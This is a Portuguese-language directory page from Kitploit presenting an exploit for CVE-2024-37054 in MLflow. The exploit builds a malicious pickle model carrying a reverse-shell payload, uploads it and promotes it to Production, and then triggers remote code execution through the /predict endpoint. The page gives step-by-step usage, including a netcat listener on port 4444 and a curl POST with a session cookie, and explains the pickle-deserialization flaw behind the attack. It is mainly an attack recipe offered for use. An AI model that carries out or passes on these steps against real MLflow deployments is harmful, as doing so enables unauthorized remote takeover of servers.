Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37054-MLflow-reverse-shell — Exploit para CVE-2024-37054: gera um modelo pickle malicioso, envia-o para o MLflow e dispara execução remota de código via endpoint /predict. | Kitploit
Ferramentas/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

Exploit para CVE-2024-37054: gera um modelo pickle malicioso, envia-o para o MLflow e dispara execução remota de código via endpoint /predict.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
há 3 mesesAinda não revisado
Compartilhar

Ferramentas e Arquivos


ArquivoPropósito
generate_model.pyGera o model.pkl malicioso com payload de reverse shell
upload_model.pyEnvia o pickle para o MLflow e promove-o para Produção
sample.csvArquivo CSV usado para acionar o endpoint /predict

Uso

1. Gerar o pickle malicioso

Edite generate_model.py e defina seu IP tun0:

root@kitploit:~
python3 generate_model.py

2. Iniciar um listener

root@kitploit:~
nc -lvnp 4444

3. Enviar o modelo malicioso

Edite upload_model.py:

  • Defina MLFLOW para http://127.0.0.1:5000
  • Defina MODEL_NAME para o nome do modelo ativo encontrado no domínio principal
root@kitploit:~
python3 upload_model.py

4. Acionar a execução

Obtenha um cookie de sessão novo a partir do aplicativo cliente, então:

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

O shell é recebido no seu listener.


Vulnerabilidade Principal

Desserialização Pickle via MLflow Model Registry

MLflow carrega modelos registrados usando pickle.load() do Python. Ao enviar um pickle manipulado como artefato de modelo e promovê-lo para Produção, qualquer chamada subsequente a /predict desserializa o payload no lado do servidor, alcançando RCE não autenticado como o usuário da aplicação.

Referências

  • Documentação da API REST do MLflow
  • Desserialização Pickle do Python
Baixar ferramenta